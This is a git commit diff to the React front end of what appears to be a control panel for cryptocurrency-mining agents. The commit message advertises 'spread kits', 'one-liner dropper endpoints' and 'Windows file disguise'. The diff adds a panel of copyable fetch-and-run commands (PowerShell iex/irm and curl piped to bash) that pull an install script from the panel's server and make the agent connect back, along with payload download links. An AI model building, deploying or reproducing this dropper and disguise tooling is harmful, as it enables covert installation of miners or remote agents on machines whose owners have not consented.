Add universal forge, fusion disguise, remote deploy, and stability fixes.
Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
This commit is contained in:
@@ -1,7 +1,7 @@
|
||||
import { useState, useEffect, useMemo, useCallback } from 'react';
|
||||
import { api } from '../api/client';
|
||||
import { useWebSocket } from '../hooks/useWebSocket';
|
||||
import type { Agent, HashrateSample } from '../types';
|
||||
import type { Agent, HashrateSample, ServerInfo } from '../types';
|
||||
import HashrateChart from '../components/Charts/HashrateChart';
|
||||
import NeonCard from '../components/NeonCard/NeonCard';
|
||||
import AgentRemoteActions from '../components/Fleet/AgentRemoteActions';
|
||||
@@ -15,13 +15,68 @@ import {
|
||||
formatUptime,
|
||||
} from '../help/fleetFilters';
|
||||
import type { FleetFilterState } from '../help/fleetFilters';
|
||||
import '../components/Fleet/FleetPanels.css';
|
||||
import '../components/Fleet/FleetToolbar.css';
|
||||
import '../components/Fleet/AgentRemoteActions.css';
|
||||
import './Pages.css';
|
||||
|
||||
function QuickDeployPanel({ serverInfo }: { serverInfo: ServerInfo | null }) {
|
||||
const [copied, setCopied] = useState<string | null>(null);
|
||||
|
||||
const base = serverInfo?.suggested_url?.replace(/\/$/, '') ?? window.location.origin;
|
||||
|
||||
const copy = (text: string, key: string) => {
|
||||
navigator.clipboard.writeText(text).then(() => {
|
||||
setCopied(key);
|
||||
setTimeout(() => setCopied(null), 2000);
|
||||
});
|
||||
};
|
||||
|
||||
const ps1 = `iex (irm '${base}/install.ps1')`;
|
||||
const sh = `curl -sL ${base}/install.sh | bash`;
|
||||
const dlWin = `${base}/get?os=windows`;
|
||||
const dlLin = `${base}/get?os=linux`;
|
||||
const dlMac = `${base}/get?os=darwin`;
|
||||
|
||||
const Row = ({ label, cmd, id }: { label: string; cmd: string; id: string }) => (
|
||||
<div style={{ display: 'flex', alignItems: 'center', gap: '0.5rem', marginBottom: '0.4rem' }}>
|
||||
<span className="font-tech" style={{ minWidth: '5rem', color: 'var(--clr-amber)', fontSize: '0.75rem' }}>{label}</span>
|
||||
<code style={{ flex: 1, background: 'rgba(0,0,0,0.4)', padding: '0.3rem 0.6rem', borderRadius: '4px', fontSize: '0.8rem', color: '#eee', overflowX: 'auto', whiteSpace: 'nowrap' }}>{cmd}</code>
|
||||
<button className="btn btn-sm" onClick={() => copy(cmd, id)} style={{ whiteSpace: 'nowrap', minWidth: '4.5rem' }}>
|
||||
{copied === id ? '✓ Copied' : 'Copy'}
|
||||
</button>
|
||||
</div>
|
||||
);
|
||||
|
||||
return (
|
||||
<NeonCard accent="cyan" style={{ marginBottom: '1.25rem' }}>
|
||||
<div style={{ display: 'flex', alignItems: 'center', gap: '0.75rem', marginBottom: '0.75rem' }}>
|
||||
<span style={{ fontSize: '1.2rem' }}>⚡</span>
|
||||
<div>
|
||||
<strong className="font-display" style={{ fontSize: '1rem' }}>One-liner Quick Deploy</strong>
|
||||
<p className="form-hint" style={{ margin: 0 }}>
|
||||
Run any of these commands on a remote machine — the agent downloads itself and connects back automatically.
|
||||
No files to transfer manually.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div style={{ marginBottom: '0.75rem' }}>
|
||||
<div className="font-tech" style={{ fontSize: '0.7rem', color: 'var(--clr-dim)', marginBottom: '0.4rem', textTransform: 'uppercase', letterSpacing: '0.08em' }}>Install & run (auto-launches)</div>
|
||||
<Row label="Windows" cmd={ps1} id="ps1" />
|
||||
<Row label="Linux/Mac" cmd={sh} id="sh" />
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<div className="font-tech" style={{ fontSize: '0.7rem', color: 'var(--clr-dim)', marginBottom: '0.4rem', textTransform: 'uppercase', letterSpacing: '0.08em' }}>Direct download only (saves file)</div>
|
||||
<Row label="Windows" cmd={dlWin} id="dlw" />
|
||||
<Row label="Linux" cmd={dlLin} id="dll" />
|
||||
<Row label="macOS" cmd={dlMac} id="dlm" />
|
||||
</div>
|
||||
</NeonCard>
|
||||
);
|
||||
}
|
||||
|
||||
export default function AgentsPage() {
|
||||
const { agents: liveAgents, isConnected, agentLogs, latestMessage } = useWebSocket();
|
||||
const { agents: liveAgents, isConnected, agentLogs, commandResults } = useWebSocket();
|
||||
const [agents, setAgents] = useState<Agent[]>([]);
|
||||
const [selectedAgent, setSelectedAgent] = useState<Agent | null>(null);
|
||||
const [expandedId, setExpandedId] = useState<string | null>(null);
|
||||
@@ -30,6 +85,7 @@ export default function AgentsPage() {
|
||||
const [bulkBusy, setBulkBusy] = useState(false);
|
||||
const [hashrateHistory, setHashrateHistory] = useState<HashrateSample[]>([]);
|
||||
const [loading, setLoading] = useState(true);
|
||||
const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null);
|
||||
const [loadError, setLoadError] = useState('');
|
||||
const [logContent, setLogContent] = useState('');
|
||||
const [logLoading, setLogLoading] = useState(false);
|
||||
@@ -43,6 +99,7 @@ export default function AgentsPage() {
|
||||
.then(setAgents)
|
||||
.catch((err) => setLoadError(err instanceof Error ? err.message : 'Failed to load agents'))
|
||||
.finally(() => setLoading(false));
|
||||
api.getServerInfo().then(setServerInfo).catch(() => {});
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
@@ -173,6 +230,8 @@ export default function AgentsPage() {
|
||||
<span className="header-count font-tech">{filteredAgents.length}/{agents.length} NODES</span>
|
||||
</header>
|
||||
|
||||
<QuickDeployPanel serverInfo={serverInfo} />
|
||||
|
||||
{loadError && (
|
||||
<NeonCard accent="amber" className="empty-state">
|
||||
<p>{loadError}</p>
|
||||
@@ -187,7 +246,7 @@ export default function AgentsPage() {
|
||||
<NeonCard accent="brass" className="empty-state">
|
||||
<div className="empty-icon">⚙</div>
|
||||
<h3>No agents registered</h3>
|
||||
<p>Deploy a miner to a Windows machine and it will appear here automatically.</p>
|
||||
<p>Deploy a worker to any machine (Windows, Linux, or macOS) using the Forge and it will appear here automatically.</p>
|
||||
</NeonCard>
|
||||
) : (
|
||||
<div className="agents-layout">
|
||||
@@ -212,7 +271,7 @@ export default function AgentsPage() {
|
||||
onCheck={(on) => toggleSelect(agent.id, on)}
|
||||
onSelect={() => void selectAgent(agent)}
|
||||
onToggleExpand={() => setExpandedId((prev) => (prev === agent.id ? null : agent.id))}
|
||||
latestWsMessage={latestMessage}
|
||||
commandResults={commandResults}
|
||||
/>
|
||||
))}
|
||||
{filteredAgents.length === 0 && (
|
||||
@@ -272,6 +331,15 @@ export default function AgentsPage() {
|
||||
<span className="detail-label">Version</span>
|
||||
<span className="detail-value">{selectedAgent.version || 'Unknown'}</span>
|
||||
</div>
|
||||
{(selectedAgent.platform || selectedAgent.os_version) && (
|
||||
<div className="detail-item">
|
||||
<span className="detail-label">Platform</span>
|
||||
<span className="detail-value">
|
||||
{[selectedAgent.platform, selectedAgent.arch].filter(Boolean).join(' / ')}
|
||||
{selectedAgent.os_version ? ` — ${selectedAgent.os_version}` : ''}
|
||||
</span>
|
||||
</div>
|
||||
)}
|
||||
<div className="detail-item">
|
||||
<span className="detail-label">CPU Cores</span>
|
||||
<span className="detail-value">{selectedAgent.cpu_cores}</span>
|
||||
@@ -350,7 +418,7 @@ export default function AgentsPage() {
|
||||
<AgentRemoteActions
|
||||
agent={selectedAgent}
|
||||
online={selectedAgent.status === 'online'}
|
||||
latestWsMessage={latestMessage}
|
||||
commandResults={commandResults}
|
||||
onCommandSent={(action: string) => {
|
||||
if (action === 'get_log') refreshLog(true);
|
||||
}}
|
||||
|
||||
Reference in New Issue
Block a user